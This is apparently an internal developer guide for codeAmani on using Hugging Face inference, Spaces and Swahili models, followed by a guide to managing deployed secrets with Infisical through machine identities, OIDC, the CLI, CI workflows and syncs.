Endpoints on the router: /v1/chat/completions (OpenAI Chat Completions), /v1/responses (OpenAI Responses API, beta — tools, remote MCP, structured outputs, reasoning effort), and an Anthropic-compatible surface used by the Claude Code integration below. Embeddings, text-to-image, ASR, etc. are not on /v1 — use the typed InferenceClient methods.

Python (huggingface_hub 2.x)

pip install -U huggingface_hub
hf auth login
import os
from huggingface_hub import InferenceClient

client = InferenceClient(api_key=os.environ["HF_TOKEN"])

# Chat completion — default policy is :fastest
completion = client.chat.completions.create(
    model="openai/gpt-oss-120b",
    messages=[{"role": "user", "content": "Explain async/await in one sentence."}],
)
print(completion.choices[0].message.content)

# Cost control: cheapest provider for a batch job
completion = client.chat.completions.create(
    model="openai/gpt-oss-120b:cheapest",
    messages=[{"role": "user", "content": "Habari!"}],
)

# Bill a Team/Enterprise org instead of yourself
org_client = InferenceClient(bill_to="codeAmani-labs")

v2 notes: InferenceClient(token=True/False) booleans are gone — pass a token string or None; text_generation(stop_sequences=...) → stop=...; HTTP errors now come from httpx2 (catch huggingface_hub.errors.HfHubHTTPError, or from huggingface_hub.utils import httpx).

JavaScript / TypeScript (@huggingface/inference 4.13.32)

npm install @huggingface/inference@4.13.32
import { InferenceClient } from "@huggingface/inference";

const client = new InferenceClient(process.env.HF_TOKEN);

const chat = await client.chatCompletion({
  model: "openai/gpt-oss-120b",          // or "openai/gpt-oss-120b:cheapest"
  messages: [{ role: "user", content: "What is a transformer?" }],
  // provider: "groq",                   // pin one provider instead of a policy
});
console.log(chat.choices[0]?.message.content);

Full typed examples (streaming, embeddings, text-to-image, ASR, error classes, billTo): examples/inference.ts. The JS client exposes chatCompletion / chatCompletionStream — not client.chat.completions.create (that shape is Python-only, despite one JS snippet on the pricing page).

Vercel AI SDK (@ai-sdk/huggingface 2.0.74)

npm install ai@7.0.146 @ai-sdk/huggingface@2.0.74 zod
import { createHuggingFace } from "@ai-sdk/huggingface";
import { generateText } from "ai";

const huggingFace = createHuggingFace({ apiKey: process.env.HF_TOKEN ?? "" });

const { text } = await generateText({
  model: huggingFace("openai/gpt-oss-120b:cheapest"),
  prompt: "Andika sentensi moja kuhusu M-Pesa.",
});

The provider defaults to https://router.huggingface.co/v1 and reads HUGGINGFACE_API_KEY if you don't pass apiKey. huggingFace(id) uses the Responses API; providerOptions.huggingface supports reasoningEffort, instructions, strictJsonSchema, metadata. See examples/ai-sdk.ts.

Drop-in OpenAI replacement

import OpenAI from "openai";

const client = new OpenAI({
  baseURL: "https://router.huggingface.co/v1",
  apiKey: process.env.HF_TOKEN,
});

const completion = await client.chat.completions.create({
  model: "deepseek-ai/DeepSeek-R1:cheapest",
  messages: [{ role: "user", content: "Hello!" }],
});
// client.responses.create({ model, instructions, input }) also works (beta).

REST (curl)

curl https://router.huggingface.co/v1/chat/completions \
  -H "Authorization: Bearer $HF_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"model": "openai/gpt-oss-120b:fastest", "messages": [{"role": "user", "content": "Jambo!"}]}'

Run Claude Code on open models (optional)

HF documents pointing Claude Code at the router (Anthropic-compatible) — useful for cheap experiments, not for codeAmani production work (Claude stays primary per AI routing):

hf extensions install hf-claude && hf claude      # interactive model/provider picker
# manual: export ANTHROPIC_BASE_URL="https://router.huggingface.co"
#         export ANTHROPIC_AUTH_TOKEN="$HF_TOKEN"; export ANTHROPIC_DEFAULT_SONNET_MODEL="zai-org/GLM-5.1"

Tokens (use fine-grained)

Role Use it for
fine-grained Production default. Scope to exact permissions + repos/orgs. For inference tick "Make calls to Inference Providers" (inference.serverless.write).
read Local dev, downloading private/gated models
write Pushing to repos (prefer fine-grained contributor instead — see below)

Pricing breakdown

Verified 2026-10-20 against https://huggingface.co/pricing and https://huggingface.co/docs/inference-providers/pricing. Provider per-token rates: GET /v1/models.

Account plans

Plan Price Included compute credits Other
Free $0 None — buy credits to use Inference Providers ZeroGPU 5 min/day; host up to 2 ZeroGPU Spaces (verified email, account >30 days)
PRO $9 / mo $2 / month 8× ZeroGPU quota (40 min/day) + highest queue priority, host up to 10 ZeroGPU Spaces, 10× private storage, Spaces Dev Mode
Team $20 / user / mo $2 / seat / month (shared) SSO, audit logs, resource groups, token policies, up to 50 ZeroGPU Spaces
Enterprise $50 / user / mo $2 / seat / month (shared) SCIM, highest limits, usage API, 60 min/day ZeroGPU

Included credits are general compute credits: Inference Providers, Inference Endpoints, upgraded Spaces hardware, ZeroGPU beyond quota, and Jobs. They apply only to HF-routed requests — if you set a custom provider key in HF settings, that provider bills you directly and credits don't apply. Team/Enterprise orgs must send X-HF-Bill-To: <org> (or bill_to= / billTo) to draw from org credits.

HF Inference (the provider formerly "Inference API (serverless)") bills compute-time × hardware price and is now mostly CPU tasks (embeddings, classification, ranking, small models).

Sample router prices (USD / 1M tokens, input → output, 2026-10-20)

Model Cheapest live provider Others
openai/gpt-oss-120b DeepInfra $0.037 → $0.17 Novita $0.05→$0.25, Groq $0.15→$0.75, Cerebras $0.35→$0.75
google/gemma-4-31B-it Novita $0.14 → $0.40 DeepInfra $0.20→$0.40
meta-llama/Llama-3.3-70B-Instruct Novita $0.135 → $0.40 (12k ctx!) OVHcloud $0.74, Together $1.04 (131k ctx)
deepseek-ai/DeepSeek-R1 Novita $0.70 → $2.50 —

Inference Endpoints (dedicated, scale-to-zero, AWS per-hour per instance)

Hardware Hourly
CPU Intel Sapphire Rapids (1 vCPU) from $0.03
NVIDIA T4 $0.50
NVIDIA L4 $0.80
NVIDIA L40S $1.80
NVIDIA A100 80GB $2.50
NVIDIA RTX PRO 6000 96GB (new) $2.75
NVIDIA H100 $4.50
NVIDIA H200 $5.00
NVIDIA B200 $9.25

Multi-GPU scales linearly (e.g. 8× H100 = $36/hr). Also: Inf2 Neuron from $0.75, TPU v5e from $1.20 (GCP).

Spaces hardware

Flavor Hourly
CPU Basic (2 vCPU / 16 GB) Free
ZeroGPU (RTX Pro 6000 Blackwell, up to 96 GB) Free (daily quota)
CPU Upgrade (8 vCPU / 32 GB) $0.03
T4 small / medium $0.40 / $0.60
L4 / 4× L4 $0.80 / $3.80
L40S / 4× / 8× $1.80 / $8.30 / $23.50
A10G small / large $1.00 / $1.50
A100 large / 4× A100 $2.50 / $10.00

Storage

$12 / TB / mo public, $18 / TB / mo private; volume tiers down to $8 / $12 at 500 TB+. Egress/CDN included.

HF-open vs frontier (the codeAmani calculus)

PRO's $2/month will not carry production traffic — budget pay-as-you-go. For low-to-mid volume, open models via the router are still far cheaper per token than frontier APIs: pin :cheapest for batch jobs, :fastest for interactive UX. When traffic is steady and high, a dedicated Inference Endpoint (scale-to-zero) beats per-token pricing. For free public demos, a ZeroGPU Space.


ZeroGPU (free GPU Spaces)

codeAmani runs codeAmani-labs/amani-swahili-chat on ZeroGPU (Qwen2.5-3B-Instruct, streamed bilingual chat).

Fact Value (docs, 2026-10-20)
Hardware NVIDIA RTX Pro 6000 Blackwell — large (default) = half card / 48 GB / 1× quota; xlarge = full card / 96 GB / 2× quota
SDK Gradio only (Gradio 4+). No Streamlit/Docker.
PyTorch 2.8.0 → 2.13.0 supported
Python 3.12.12 or 3.10.13
Default runtime cap 60 s per call — raise with @spaces.GPU(duration=120) or a callable for dynamic duration
Daily quota Unauthenticated 2 min · Free 5 min · PRO / Team 40 min · Enterprise 60 min
Reset 24 h after your first GPU use (rolling, not midnight)
Beyond quota PRO/Team/Enterprise: pre-paid credits at $1 per 10 min
Hosting limits Free 2 Spaces (account >30 days, verified email) · PRO 10 · Team/Enterprise org 50
Check quota hf spaces zero-gpu quota or huggingface_hub.get_zero_gpu_quota() (GPU-seconds)

Quota is per account tier of whoever calls the Space (the docs give PRO users 8× quota "when using any ZeroGPU Spaces"), so anonymous visitors get the 2-min tier regardless of the owner's plan. Remaining quota also sets queue priority — visitors low on quota wait longer. Shorter duration= values improve priority.

Gotchas (see examples/app.py, which mirrors the live Space):

  1. Load the model and call .to("cuda") at module level; real CUDA only exists inside @spaces.GPU (a CUDA emulation mode covers module scope). Lazy-loading inside the decorated call is much slower.
  2. The decorated function runs in a separate process — args/yields must be picklable.
  3. No torch.compile — use PyTorch ahead-of-time compilation (AoTI, torch 2.8+) at build time.
  4. xlarge doubles quota burn and queues longer — only for >48 GB models.
  5. cache_examples=True runs examples at startup and burns GPU — keep it off.
  6. Pin sdk_version in the README YAML (latest Gradio is 6.30.0); suggested_hardware is only a hint for people who duplicate — select ZeroGPU in Settings → Hardware.
  7. transformers 5.x: from_pretrained(..., dtype=torch.bfloat16) (not torch_dtype=), and apply_chat_template(..., return_dict=True) then generate(**inputs).
  8. Embedding the Space on a codeAmani page means each visitor spends their own (often 2-min anonymous) quota — fine for demos, not a production chat backend.

Deploy a Space

A Space is a Git repo Hugging Face builds and runs. With the Gradio SDK, three files do the work: README.md (YAML config), app.py, requirements.txt. Push it and the app is live at https://huggingface.co/spaces/<user>/<space>.

flowchart LR
  CC["Claude Code"]
  Files["README.md · app.py<br/>requirements.txt"]
  Repo["Space repo<br/>git on the Hub"]
  Build["Space build<br/>install deps · launch"]
  Live["Live app<br/>App tab"]
  CC --> Files
  Files -->|"hf upload"| Repo
  Repo --> Build
  Build --> Live

1. The three files

---
title: Swahili Helper
emoji: 🇰🇪
colorFrom: green
colorTo: blue
sdk: gradio
sdk_version: 6.30.0
python_version: "3.12"
app_file: app.py
pinned: false
short_description: Swahili chat demo
---

# Swahili Helper
A small Gradio demo running on Hugging Face Spaces.
import gradio as gr

def greet(name: str) -> str:
    return f"Habari, {name}!"

demo = gr.Interface(fn=greet, inputs="text", outputs="text", title="Swahili Helper")

if __name__ == "__main__":
    demo.launch()

requirements.txt lists extra deps (Gradio itself comes from sdk_version).

2. Create + push from the CLI

hf repos create swahili-helper --repo-type space --sdk gradio
hf upload <user>/swahili-helper ./swahili-helper .
hf spaces wait <user>/swahili-helper        # exits non-zero on BUILD_ERROR

…or with the Python SDK

import os
from huggingface_hub import HfApi

api = HfApi(token=os.environ["HF_TOKEN"])
api.create_repo(repo_id="<user>/swahili-helper", repo_type="space", space_sdk="gradio", exist_ok=True)
api.upload_folder(repo_id="<user>/swahili-helper", repo_type="space", folder_path="./swahili-helper")

Secrets: Settings → Variables and secrets, or hf spaces secrets add. Never commit HF_TOKEN into app.py. Persistent data: Spaces' disk is ephemeral — mount a Volume or Bucket (hf spaces volumes set).


Environment Variables

Secrets (store in the vault / Vercel env — never commit):

HF_TOKEN=hf_...
# Only if you rely on @ai-sdk/huggingface's default env lookup (no explicit apiKey option)
HUGGINGFACE_API_KEY=hf_...

Non-secret settings:

Variable Purpose
HF_HOME Root of the HF cache/config (default ~/.cache/huggingface)
HF_HUB_CACHE Model/dataset cache dir
HF_HUB_OFFLINE 1 = use cached files only
HF_XET_HIGH_PERFORMANCE 1 = faster Xet transfers (replaces removed HF_HUB_ENABLE_HF_TRANSFER)
HF_HUB_DISABLE_SHARED_BLOBS 1 = opt out of cross-repo blob dedup (v1.32+)
HF_BILL_TO Org to bill when using the hf claude extension

HUGGING_FACE_HUB_TOKEN is the legacy alias of HF_TOKEN; standardize on HF_TOKEN.


Swahili & African-language models worth knowing

Checked on the Hub 2026-10-20. "Router" = served by Inference Providers today. Benchmark in-house before depending on any of these (see research-and-development/reports/2026-06-22-swahili-ai-models.md).

Model Task License Swahili Serving Notes
Qwen/Qwen2.5-3B-Instruct chat other (Qwen license file — check commercial terms) general multilingual Router (featherless-ai); ZeroGPU What the amani-swahili-chat Space runs (base model + system prompt, not fine-tuned)
google/gemma-4-31B-it chat (VLM) Apache-2.0 multilingual Router (novita, deepinfra) Strong cheap open default; earlier Gemma 2 27B was best open model on African benchmarks
CohereLabs/tiny-aya-global / -earth / -fire / -water chat CC-BY-NC-4.0, gated yes (67 langs) Router (cohere) Non-commercial — research/evals only
CohereLabs/aya-101 seq2seq Apache-2.0 yes (101 langs) self-host Older mT5-based
CohereLabs/aya-expanse-32b chat CC-BY-NC-4.0 no Router Excludes Swahili — don't test it for Swahili
Sunbird/Sunflower-14B / -32B chat Apache-2.0, gated yes (Ugandan langs + Swahili) self-host From Sunbird AI (Uganda)
Jacaranda/UlizaLlama QA / chat not stated on card yes (Swahili-specialized, Llama-2 7B) self-host No published benchmarks
lelapa/InkubaLM-0.4B small LM CC-BY-NC-4.0, gated yes (+ 4 African langs) self-host / edge Tiny; eval needed
openai/whisper-large-v3 / -turbo ASR Apache-2.0 / MIT yes Router (hf-inference, fal-ai, together, replicate, deepinfra) Best no-fine-tune STT baseline
facebook/mms-1b-all ASR CC-BY-NC-4.0 yes self-host Best in low-data (≤50 h) fine-tunes
facebook/mms-tts-swh TTS CC-BY-NC-4.0 yes self-host Open Swahili TTS — quality unverified (MOS-eval first)
facebook/seamless-m4t-v2-large speech/text translation CC-BY-NC-4.0 yes self-host
facebook/nllb-200-distilled-600M translation CC-BY-NC-4.0 yes (swh_Latn) self-host Non-commercial
google/madlad400-3b-mt translation Apache-2.0 yes self-host Commercial-friendly MT
intfloat/multilingual-e5-large (+ -instruct) embeddings MIT yes Router (hf-inference, deepinfra) Default for Swahili RAG → pgvector/Pinecone
BAAI/bge-m3 embeddings MIT multilingual Router (hf-inference, sentence-similarity task)
Davlan/afro-xlmr-large, castorini/afriberta_large encoders MIT yes self-host Classification/NER fine-tune bases

License check is mandatory: many of the best Swahili assets (NLLB, MMS, Seamless, Tiny Aya, InkubaLM) are CC-BY-NC — fine for evals, not for a paid product.


transformers.js — models in the browser / on the edge

@huggingface/transformers (4.3.1) runs ONNX models client-side via WebGPU/WASM — no server, no per-call cost, offline after first load. For Kenya-targeted projects on 2G/3G this skips the round-trip entirely — but the model download itself is the cost, so use small quantized models and cache them.

npm install @huggingface/transformers@4.3.1
import { pipeline } from "@huggingface/transformers";

const embedder = await pipeline("feature-extraction", "Xenova/multilingual-e5-small");
const out = await embedder("query: Bei ya unga ni shilingi ngapi?", { pooling: "mean", normalize: true });
const vector: number[] = Array.from(out.data as Float32Array);

Apply HF to the rest of the stack


Automation Workflows

Slash Command: quick open-model answer

.claude/commands/hf-ask.md:

Answer the question in $ARGUMENTS with an open model via Inference Providers.
Write the question to a temp file first (never interpolate it into the command), then run:

```bash
python - "$TMPFILE" <<'PY'
import os, sys
from huggingface_hub import InferenceClient
q = open(sys.argv[1], encoding="utf-8").read()
c = InferenceClient(api_key=os.environ["HF_TOKEN"])
r = c.chat.completions.create(model="openai/gpt-oss-120b:cheapest",
                              messages=[{"role": "user", "content": q}], max_tokens=400)
print(r.choices[0].message.content)
PY
```

CI/CD: publish an eval or checkpoint

# .github/workflows/evaluate-model.yml
name: Evaluate Fine-tuned Model
on:
  push:
    paths: ['models/**']
jobs:
  evaluate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: '3.12' }
      - run: pip install "huggingface_hub>=2.2" evaluate datasets
      - name: Run evaluation
        env:
          HF_TOKEN: ${{ secrets.HF_TOKEN }}   # fine-grained, `contributor` permission
        run: python scripts/evaluate.py

Prefer Trusted Publishers (OIDC) over a stored HF_TOKEN secret where possible. Pin Actions by SHA per the supply-chain policy.


Common Use Cases

Use Case Approach
Open-model chat InferenceClient.chatCompletion / @ai-sdk/huggingface / OpenAI SDK + router
Agentic tools, remote MCP, structured output Router Responses API (beta)
Hub exploration from Claude Code HF MCP server (hf_fs, hub_repo_search, hub_repo_details)
Space deployment hf repos create --sdk gradio + hf upload
Embeddings featureExtraction (e5 / bge-m3)
Swahili speech-to-text automaticSpeechRecognition with openai/whisper-large-v3
Image generation textToImage (FLUX.1-dev via fal-ai / replicate / wavespeed)

Skill Use it for
huggingface-skills:hf-cli Scripting the hf CLI
huggingface-skills:huggingface-spaces / :huggingface-gradio Building & shipping Spaces / Gradio apps
huggingface-skills:huggingface-zerogpu ZeroGPU-backed demos
huggingface-skills:huggingface-lora-space-builder LoRA fine-tune + Space in one go
huggingface-skills:trl-training / :train-sentence-transformers Fine-tuning LLMs / embedders
huggingface-skills:transformers-js Browser/edge inference
huggingface-skills:huggingface-datasets Dataset loading & curation

codeAmani notes


Troubleshooting

Issue Fix
401 Unauthorized Re-login (hf auth login) or check HF_TOKEN
402 Payment Required Out of credits — buy credits or upgrade (free accounts have no included credits)
403 on a model Gated: accept the license with the token's account; or org token policy (pending / fine-grained only)
4xx when pinning a provider The model may not be served by that provider — drop the :provider suffix or check /v1/models
ImportError after upgrading huggingface_hub v2 removed deprecated APIs + moved to httpx2 — see the v2 migration guide
huggingface-cli: command not found Removed in v2 — use hf
ZeroGPU "quota exceeded" Wait for the 24 h rolling reset, log in (anonymous = 2 min), or add credits (PRO)
ZeroGPU Space slow first call Model moved to GPU lazily — move it to cuda at module scope
MCP server not connecting Use ?login OAuth or check the Bearer header; curl https://huggingface.co/mcp should return 200

Official docs:

Infisical Integration Guide

Technology: infisical · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/infisical

Insight:

Infisical is the team-scale, deployed counterpart to codeAmani's local Hazina vault: a Machine Identity fetches secrets at runtime, and on Vercel or GitHub Actions OIDC auth removes even the bootstrap secret. Secret Syncs push values into Vercel/GitHub for you. Rotation and dynamic secrets need the Advanced plan ($40/identity/mo), and the CLI now nests secrets commands under infisical sm.

██╗███╗   ██╗███████╗██╗███████╗██╗ ██████╗ █████╗ ██╗
██║████╗  ██║██╔════╝██║██╔════╝██║██╔════╝██╔══██╗██║
██║██╔██╗ ██║█████╗  ██║███████╗██║██║     ███████║██║
██║██║╚██╗██║██╔══╝  ██║╚════██║██║██║     ██╔══██║██║
██║██║ ╚████║██║     ██║███████║██║╚██████╗██║  ██║███████╗
╚═╝╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝

Infisical Integration Guide

Focus: Centralize codeAmani's deployed secrets (Anthropic/OpenAI keys, Stripe, Supabase/Neon URLs, Cloudflare R2, and Daraja/M-Pesa for Kenya-targeted projects) in one open-source, self-hostable platform. Workloads authenticate as a Machine Identity: Universal Auth anywhere, or OIDC from Vercel and GitHub Actions so there's no long-lived secret at all. Inject locally with infisical sm run, push to platforms with Secret Syncs, and catch leaks with infisical scan.

Overview

Infisical is an open-source (MIT core) security platform. Its products are now Secrets Management, Certificate Management (PKI), KMS, Privileged Access (PAM), Agent Vault (a credential-brokering proxy for AI agents), and Secret Scanning. For codeAmani, Secrets Management is the main one. Secrets are organized as project → environment → folder path.

Ways to consume secrets, from least to most code:

Surface What it does When codeAmani uses it
Secret Syncs Infisical pushes a project path into Vercel env vars, GitHub Actions secrets, Netlify, Cloudflare Workers, Supabase, and 50+ other destinations. Changes propagate automatically Default for Vercel apps: no runtime code, no cold-start fetch
CLI infisical sm run -- <cmd> Injects secrets as env vars into a child process; nothing is written to disk Local dev, scripts, containers
GitHub Action Infisical/secrets-action Fetches secrets into a job via OIDC or Universal Auth CI/CD
Infisical Agent (infisical agent) Daemon that renews tokens and renders secrets/leases to files through Go templates VMs, containers, sidecars
SDK @infisical/sdk (Node), infisicalsdk (Python) Fetches at runtime; also handles dynamic-secret leases and KMS encrypt/sign Long-running servers, rotation-aware code
MCP server @infisical/mcp Lets Claude/Cursor list, read, and create secrets through tools Admin chores from an agent, with read-only tools and masking on

How it relates to Hazina

codeAmani's own Hazina vault (packages/hazina) is local-only. It keeps developer-machine credentials encrypted under Windows DPAPI, and coding agents see only ${VAULT:…} references. Infisical is the deployed, team-scale layer: it serves secrets to running workloads, CI, and teammates, and it adds rotation, dynamic secrets, syncs, and audit logs. The two fit together:

flowchart LR
  subgraph Dev["Developer machine"]
    H["Hazina vault<br/>DPAPI-encrypted, local only"]
  end
  subgraph Inf["Infisical project · env · path"]
    S["Secrets"]
    R["Rotation · Dynamic secrets"]
  end
  H -->|"bootstrap creds"| CLI["infisical sm run"]
  CLI --> S
  S -->|"Secret Sync"| V["Vercel env vars"]
  S -->|"Secret Sync"| G["GitHub Actions secrets"]
  F["Vercel function"] -->|"OIDC JWT"| Inf
  R --> S

Official Documentation

Resource URL
Introduction https://infisical.com/docs/documentation/getting-started/introduction
Node SDK https://infisical.com/docs/sdks/languages/node
CLI reference (all commands) https://infisical.com/docs/cli/reference
Machine identities https://infisical.com/docs/documentation/platform/identities/machine-identities
Universal Auth https://infisical.com/docs/documentation/platform/identities/universal-auth
OIDC Auth (general) https://infisical.com/docs/documentation/platform/identities/oidc-auth/general
OIDC Auth (GitHub) https://infisical.com/docs/documentation/platform/identities/oidc-auth/github
Secret Syncs https://infisical.com/docs/integrations/secret-syncs/overview
Secret rotation https://infisical.com/docs/documentation/platform/secret-rotation/overview
Dynamic secrets https://infisical.com/docs/documentation/platform/dynamic-secrets/overview
Infisical Agent https://infisical.com/docs/integrations/platforms/infisical-agent
KMS https://infisical.com/docs/documentation/platform/kms/overview
Certificate Management (PKI) https://infisical.com/docs/documentation/platform/pki/overview
Docs MCP server and AI setup https://infisical.com/docs/documentation/getting-started/set-up-with-ai
Self-hosting https://infisical.com/docs/self-hosting/overview
Pricing https://infisical.com/pricing

Versions verified 2026-10-20

Thing Version Source
@infisical/sdk (Node) 5.0.2; requires Node.js 20+ npm view, Node SDK docs
@infisical/cli 0.44.3 (released 2026-10-19) npm view, github.com/Infisical/cli/releases
@infisical/mcp 0.0.24 (bundles @infisical/sdk 4.0.1) npm view
infisicalsdk (Python) 1.0.17 PyPI JSON
Infisical/secrets-action v1.0.18 (docs examples still show v1.0.16) GitHub releases
@vercel/oidc 4.0.1 npm view
Server image infisical/infisical v0.166.8 (2026-10-15) Docker Hub, GitHub releases

1. Machine identities: pick the auth method

A Machine Identity is the non-human principal that your app, CI job, or agent logs in as. You give it an organization role, then add it to each project with a project role. Each identity can hold several auth methods. Remove Universal Auth from identities that should only log in via OIDC; otherwise the client-secret path stays open.

Where the code runs Auth method Long-lived secret?
Vercel Functions OIDC Auth with Vercel's OIDC token None
GitHub Actions OIDC Auth (method: oidc) None
AWS Lambda / EC2 AWS IAM Auth (SDK awsIamAuth.login) None
Kubernetes Kubernetes Auth (Agent / Operator) None
Anything else (Netlify, Render, a laptop) Universal Auth (client ID + client secret) Yes, so rotate it

Universal Auth defaults (from the Universal Auth docs):

Secret zero: set an Access Token Period to get a renewable, non-expiring token, and give the client secret Max Uses = 1. The workload logs in once, then calls POST /api/v1/auth/universal-auth/renew (SDK: client.auth().universalAuth.renew()) before each period ends.

Bootstrap credentials (Universal Auth only)

These two values are the only ones that stay outside Infisical. Keep them in Hazina locally and in the platform's encrypted env store in production:

INFISICAL_CLIENT_ID=your-machine-identity-client-id
INFISICAL_CLIENT_SECRET=your-machine-identity-client-secret

Non-secret settings go in plain config:

Variable Example Notes
INFISICAL_SITE_URL https://app.infisical.com US Cloud default. EU Cloud: https://eu.infisical.com. Self-hosted: your URL
INFISICAL_PROJECT_ID <project-uuid> The CLI and SDK require it when you authenticate as a machine identity
INFISICAL_ENV dev | staging | prod Environment slug; match the slugs your project uses
INFISICAL_IDENTITY_ID <machine-identity-uuid> OIDC Auth only (Vercel / GitHub). Not a secret

2. SDK: fetch secrets at runtime (Node)

npm install @infisical/sdk@5.0.2    # v5 requires Node.js 20+; 4.0.0 is the oldest supported line
import { InfisicalSDK } from "@infisical/sdk";

// Defaults to https://app.infisical.com. Pass { siteUrl } for EU Cloud or self-hosted.
const client = new InfisicalSDK({ siteUrl: process.env.INFISICAL_SITE_URL });

await client.auth().universalAuth.login({
  clientId: process.env.INFISICAL_CLIENT_ID!,
  clientSecret: process.env.INFISICAL_CLIENT_SECRET!,
});

const secret = await client.secrets().getSecret({
  secretName: "STRIPE_SECRET_KEY",
  projectId: process.env.INFISICAL_PROJECT_ID!,
  environment: "prod",
  secretPath: "/payments",
  expandSecretReferences: true,
});
// Use secret.secretValue. Never log it.

SDK v5 facts, checked against the 5.0.2 type declarations:

Full helper: examples/fetch-secrets.ts.

3. OIDC from Vercel: no client secret at all

Vercel signs a short-lived OIDC JWT for each deployment. Infisical checks it against Vercel's discovery document and returns an access token. Nothing long-lived is stored.

Set up the identity under Authentication → OIDC Auth:

Field Value (team issuer mode)
OIDC Discovery URL https://oidc.vercel.com/<team-slug>
Issuer https://oidc.vercel.com/<team-slug>
Subject owner:<team-slug>:project:<project-name>:environment:production
Audiences https://vercel.com/<team-slug>

In the function, use getVercelOidcToken() from @vercel/oidc 4.x:

import { getVercelOidcToken } from "@vercel/oidc";
import { InfisicalSDK } from "@infisical/sdk";

const siteUrl = process.env.INFISICAL_SITE_URL ?? "https://app.infisical.com";

export async function infisicalFromVercelOidc(): Promise<InfisicalSDK> {
  const jwt = await getVercelOidcToken();
  const res = await fetch(`${siteUrl}/api/v1/auth/oidc-auth/login`, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ identityId: process.env.INFISICAL_IDENTITY_ID, jwt }),
  });
  if (!res.ok) throw new Error(`Infisical OIDC login failed: HTTP ${res.status}`);
  const { accessToken } = (await res.json()) as { accessToken: string };
  return new InfisicalSDK({ siteUrl }).auth().accessToken(accessToken);
}

Full version with token caching: examples/vercel-oidc-auth.ts.

Simpler option: if the app only needs values as env vars, skip runtime fetching and use a Vercel Secret Sync (§6). Reach for OIDC + SDK when you need dynamic-secret leases, KMS, or secrets that change without a redeploy.

4. CLI: local dev, export, scanning

Install with npm install -g @infisical/cli, brew install infisical/get-cli/infisical, winget install infisical, or scoop install infisical. The Linux packages moved to artifacts-cli.infisical.com. Cloudsmith stopped serving them on 2026-09-16, and a stale apt source now makes apt-get update fail for every package on the machine.

Changes in the CLI 0.44 line that can break existing scripts:

infisical login                    # browser; falls back to terminal prompts
infisical init                     # writes .infisical.yaml (project id only)

infisical sm run -- npm run dev                                  # dev env by default
infisical sm run --env=prod --path=/shared --path=/backend -- node server.js   # last --path wins
infisical sm run --watch -- npm run dev                          # restart when secrets change

# Machine identity (CI / scripts): --projectId is REQUIRED
export INFISICAL_TOKEN=$(infisical login --method=universal-auth \
  --client-id="$INFISICAL_CLIENT_ID" --client-secret="$INFISICAL_CLIENT_SECRET" --silent --plain)
infisical sm run --projectId="$INFISICAL_PROJECT_ID" --env=prod -- npm start

eval "$(infisical sm export --format=dotenv-eval)"   # safe-quoted shell export
infisical scan                                        # code + git history; exits 1 on findings
infisical scan install --pre-commit-hook

Patterns: examples/infisical-run.sh. Cheatsheet: reference/cli-cheatsheet.md.

5. CI/CD: GitHub Actions with OIDC

Prefer OIDC: GitHub mints a JWT for each job, and Infisical exchanges it for an access token. No client secret lives in GitHub.

Configure the identity's OIDC Auth:

New GitHub subject format: on GitHub.com, repos created after 2026-07-15 use immutable subjects that include numeric IDs, for example repo:octocat@583231/example-repo@1296269:ref:refs/heads/main. Decode a real token with github/actions-oidc-debugger before you set the subject.

# .github/workflows/deploy.yml
permissions:
  id-token: write     # required to request the OIDC JWT
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4
      - uses: Infisical/secrets-action@v1.0.18
        with:
          method: "oidc"
          identity-id: ${{ vars.INFISICAL_IDENTITY_ID }}   # not a secret
          project-slug: "your-project-slug"                # v1.0.18 also accepts project-id
          env-slug: "prod"
          secret-path: "/"
          # domain: "https://eu.infisical.com"             # EU Cloud or self-hosted
      - run: npm run deploy                                # secrets are now env vars

Action inputs, from the docs:

Input Default Notes
method universal Or oidc, aws-iam
project-slug, env-slug — Required
identity-id — Required for oidc and aws-iam
client-id, client-secret — Required for universal
oidc-audience — Custom aud claim
secret-path /
recursive false Include subfolders
include-imports true
export-type env Or file
file-output-path /.env Used when export-type is file
domain https://app.infisical.com
extra-headers — For instances behind a header-based firewall

Release v1.0.17 added secret-name (fetch a single secret), and v1.0.18 added project-id. Full workflow: examples/github-actions-oidc.yml.

6. Secret Syncs: push to Vercel and GitHub

A Secret Sync combines an App Connection (credentials for the destination), a source (project environment + path), a destination, and options. With Auto-Sync on, changes propagate automatically.

Plan limits: 10 syncs on Free, 25 on Pro, 50 on Advanced, unlimited on Enterprise.

7. Secret rotation and dynamic secrets

Rotation replaces a stored credential on an interval. Most providers are dual-phase: two credential sets overlap (active → inactive → revoked), so there's no downtime. Each rotation needs an App Connection with permission to create and revoke keys.

Rotation providers relevant to codeAmani:

Dynamic secrets generate a fresh credential for each lease, with a TTL, and revoke it when the lease ends. Supported targets include PostgreSQL, MySQL, Redis, MongoDB/Atlas, AWS/GCP IAM, Kubernetes, GitHub, SSH, and TOTP. To lease from the SDK:

const { lease } = await client.dynamicSecrets().leases.create({
  dynamicSecretName: "neon-readonly",
  projectSlug: "your-project-slug",
  environmentSlug: "prod",
  ttl: "15m",               // vercel/ms string; defaults to the secret's default TTL
});
// lease.data holds the credentials; lease.expiresAt tells you when to renew.
await client.dynamicSecrets().leases.renew(lease.id, {
  projectSlug: "your-project-slug", environmentSlug: "prod", ttl: "15m",
});

Plan gate: on Cloud, full rotation and dynamic secrets need the Advanced plan ($40/identity/mo, billed annually). Pro only rotates public databases and has no dynamic secrets. Self-hosted instances need an Enterprise licence for these features.

Example: examples/leases-and-kms.ts.

8. Infisical Agent (token renewal + file injection)

Use the Agent on VMs and containers where you can't change the app code. Run infisical agent --config agent.yaml. The Agent:

Sample config: examples/agent-config.yaml.

Two similarly named features are different things:

9. KMS and PKI

10. MCP servers: setup and troubleshooting

Infisical has two MCP servers. Don't mix them up:

Server Transport Auth Use
Docs MCP https://infisical.com/docs/mcp Remote HTTP None Search and read the current docs
Infisical MCP @infisical/mcp 0.0.24 Local stdio (npx) Machine identity Manage secrets, projects, environments, folders
claude mcp add --transport http infisical-docs https://infisical.com/docs/mcp

@infisical/mcp reads these env vars:

